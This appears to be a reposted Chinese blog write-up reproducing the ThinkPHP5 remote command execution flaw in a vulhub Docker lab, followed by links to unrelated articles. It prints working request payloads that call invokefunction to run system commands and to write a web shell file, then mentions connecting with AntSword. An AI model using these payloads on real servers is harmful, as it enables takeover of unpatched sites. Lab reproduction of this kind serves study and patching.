ThinkPHP5 远程命令执行漏洞

一、ThinkPHP介绍

轻量级框架,内部OOP和面向过程代码都存在,是国人自己开发的框架。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式

二、漏洞描述

Thinkphp5.0版本中没有对路由中的控制器进行严格过滤,导致在没有开启强制路由的情况下可以执行系统命令。

三、漏洞影响版本

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31

四、漏洞复现

1、搭建环境

这里使用docker直接启动vulhub靶场

docker-compose up -d

目录:thinkphp/5-rce

ThinkPHP5 远程命令执行漏洞

2、访问页面

http://your-ip:8080

ThinkPHP5 远程命令执行漏洞

3、代码执行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

获取phpinfo信息

ThinkPHP5 远程命令执行漏洞

执行系统命令

ThinkPHP5 远程命令执行漏洞

4、写入一句话

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

ThinkPHP5 远程命令执行漏洞

ThinkPHP5 远程命令执行漏洞

蚁剑连接

ThinkPHP5 远程命令执行漏洞

五、修复建议

升级至最新版本

Original: https://www.cnblogs.com/ggc-gyx/p/thinkphp5-rce.html
Author: ʚɞ无恙
Title: ThinkPHP5 远程命令执行漏洞

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/610164/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • [CentOS7]redis设置开机启动,设置密码

    简介 上篇文章介绍了如何安装redis,但每次重启服务器之后redis不会自启,这里将介绍如何进行自启设置,以及如何设置redis的密码,进行密码验证登陆。 上篇文章: Cento…

    Linux 2023年5月28日
    0105
  • Centos系统部署nginx1.18.0

    镜像下载、域名解析、时间同步请点击阿里云开源镜像站 一、 安装依赖包 yum &#x2013;y install gcc gcc-c++ openssl openssl-d…

    Linux 2023年5月27日
    095
  • vim分屏功能总结

    vim的分屏功能总结起来,基本都是ctrl+w然后加上某一个按键字母,触发一个功能。(1)在shell里打开几个文件并且分屏:vim -On file1 file2 ……

    Linux 2023年6月14日
    091
  • 后端编写Swagger接口管理文档

    在后端开发当中,编写好多个接口后需要通过注解编写相应的接口文档提供给前端调用接口实现前后端分离。 Swagger接口管理文档 访问接口文档的网页:http://localhost:…

    Linux 2023年6月7日
    086
  • 高通平台如何避免误入FFBM模式

    前面两篇博客分别介绍了通过fastboot和QFIL工具退出FFBM模式的方法。虽然售后的同学可以这么指导用户做恢复,但步骤多操作也麻烦,且属于事后处理,如果大面积高概率地出现,会…

    Linux 2023年6月7日
    095
  • shell升级

    对/sbin/nologin的理解 系统账号的shell使用 /sbin/nologin ,此时无法登陆系统,即使给了密码也不行。 所谓”无法登陆”指的仅是…

    Linux 2023年5月28日
    0103
  • Conda虚拟环境中的pip,python 等路径是base环境而非本虚拟环境

    现象 一次运行项目发现,原本可以正常运行的项目,突然提示有个包不存在,但是经过 pip list 发现在我的虚拟环境中是存在这个包的,并且此时我是正常的位于我的虚拟环境中。 报错:…

    Linux 2023年6月7日
    095
  • ASP.NET Core 2.2 : 二十二. 多样性的配置方式

    大多数应用都离不开配置,本章将介绍ASP.NET Core中常见的几种配置方式及系统内部实现的机制。(ASP.NET Core 系列目录) 说到配置,第一印象可能就是”…

    Linux 2023年6月7日
    0109
  • 数据结构 栈与队列

    cpp;gutter:true;</p> <h1>include</h1> <h1>include</h1> <h…

    Linux 2023年6月13日
    086
  • SQLI-LABS(Less-11、12)

    Less-11(POST-Error Based-Single Quotes-String) 打开 Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知S…

    Linux 2023年6月6日
    082
  • springboot mybatis层整合

    1、导入Mybatis包 使用maven 2、配置数据库连接 注意:classpath后不需要加 / 3、测试 4、建立实体类,可使用Lombok来简化 5、 创建mapper目录…

    Linux 2023年6月14日
    085
  • Ubuntu无法telnet

    (1)/etc/hosts被修改过 (2)防火墙没有关闭 (3)没有安装相关服务 (4)/etc/inetd.conf文件没有telnet相关内容 (1)把/etc/hosts文件…

    Linux 2023年6月8日
    095
  • flask的使用

    python网站开发框架: django:大而全 flask:小而精 flask的web服务器:werkzeug 模板语法: jinjia2,兼容dtl 登录案例: from fl…

    Linux 2023年6月14日
    0100
  • springboot系列十、springboot整合redis、多redis数据源配置

    一、简介 Redis 的数据库的整合在 java 里面提供的官方工具包:jedis,所以即便你现在使用的是 SpringBoot,那么也继续使用此开发包。 二、redidTempl…

    Linux 2023年5月28日
    0110
  • 为知笔记迁移到印象笔记-从入门到放弃

    最新进展 已经放弃了,目前正在逐步把笔记迁移到本地,用icloud来同步。 为什么放弃迁移? 没有找到好的迁移方案,迁移过去文档不方便查找和使用 为什么放弃印象笔记? 1.主要使用…

    Linux 2023年6月14日
    088
  • [ Python ] 音视频剪辑

    https://www.cnblogs.com/yeungchie/ 视频 提取视频 from moviepy.editor import * 从 MP4 文件提取 video =…

    Linux 2023年6月7日
    093
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球